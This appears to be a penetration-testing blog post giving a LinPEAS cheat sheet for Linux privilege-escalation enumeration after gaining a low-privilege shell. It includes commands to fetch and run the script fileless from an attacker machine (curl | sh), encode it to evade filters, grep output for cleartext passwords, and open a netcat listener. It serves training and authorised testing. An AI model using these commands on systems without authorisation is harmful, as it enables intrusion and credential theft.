root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat linpeas.md
// privesc

LinPEAS

21 Jul 2026 · 6 min read
LinPEAS is the automated Linux privilege escalation enumeration script from the PEASS-ng project. It sweeps the system looking for privilege escalation paths —SUID binaries, weak permissions, credentials, cron jobs, vulnerable kernels— and colors each finding by how likely it is to be exploitable. It is the first tool you run after landing a low-privilege shell.

The color coding is not decorative: red/yellow flags the vectors most likely to be exploitable, and that is where you should look first. LinPEAS is noisy and drops the script on disk, so in a monitored environment it is better to run it fileless (curl | sh) and save the output to review calmly. It produces a huge amount of text, so redirecting it to a file and reading it with less -R is almost mandatory.

1. Beginner level — download, run and output

LINPEAS cheat sheet — Beginner
CommandWhat it does
curl -L url/linpeas.sh -o linpeas.shDownloads the LinPEAS script
chmod +x linpeas.shGives execution permissions to the script
./linpeas.shRuns the full automated enumeration
./linpeas.sh -aAlso includes the slower checks
./linpeas.sh -qQuiet mode, no ASCII banner
./linpeas.sh > out.txtSaves all the output to a file
./linpeas.sh | tee out.txtPrints to screen and saves at the same time
python3 -m http.server 80Serves linpeas.sh from your attacker machine
wget <ip>/linpeas.sh -O /tmp/l.shDownloads the script onto the victim machine
curl <ip>/linpeas.sh | shDownloads and runs in a single step
./linpeas.sh -hShows the help with all the options
./linpeas.sh -o SystemInfoRuns only one category of checks
cat out.txt | grep -A5 "possible"Searches for standout findings already saved
less -R out.txtReviews the output keeping the colors

2. Advanced level — transfer, filtering and manual checks

LINPEAS cheat sheet — Advanced
CommandWhat it does
./linpeas.sh -a -q > out.txt 2>&1All checks, quiet, with stderr
./linpeas.sh -P contraseñaTests a known password against sudo/su
./linpeas.sh | strings | grep -i passFilters cleartext credentials
./linpeas.sh -a -o Superfast,RecommendedCombines custom check categories
scp linpeas.sh user@<t>:/tmp/Transfers the script over SCP if SSH is available
base64 -w0 linpeas.shEncodes the script to evade simple filters
crontab -lComplements LinPEAS: reviews cron manually
find / -perm -4000 2>/dev/nullComplements LinPEAS: searches for SUID by hand
getcap -r / 2>/dev/nullComplements LinPEAS: searches for capabilities
./linpeas.sh -sSkips checking known CVEs against the internet
tmux new -s reconRuns LinPEAS in tmux without losing the session
diff out_antes.txt out_despues.txtCompares two runs to spot changes
rlwrap nc -lvnp 4444Listener with history, useful before launching the script
chmod +x linpeas.sh; ./linpeas.sh -aChains permissions + full run in a single step

3. Details people miss

  • LinPEAS does not need root to run —that is the whole point—, but as root it sees more; its goal is precisely to find the path from your low-privilege user up to root.
  • The colors only show in a terminal; if you redirect to a file you lose the highlighting unless you later open it with less -R, which interprets the ANSI codes.
  • Running it fileless with curl <ip>/linpeas.sh | sh avoids leaving the script on disk, but you need connectivity back to your attacker machine and curl or wget present.
  • On boxes with no internet access use -s to skip the online CVE checks: without that flag those checks hang waiting for a timeout and slow down the whole run.
  • Treat LinPEAS as a starting point, not the final answer: always validate SUID (find / -perm -4000), capabilities and cron by hand, because a false negative from the script does not mean the vector is not there.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.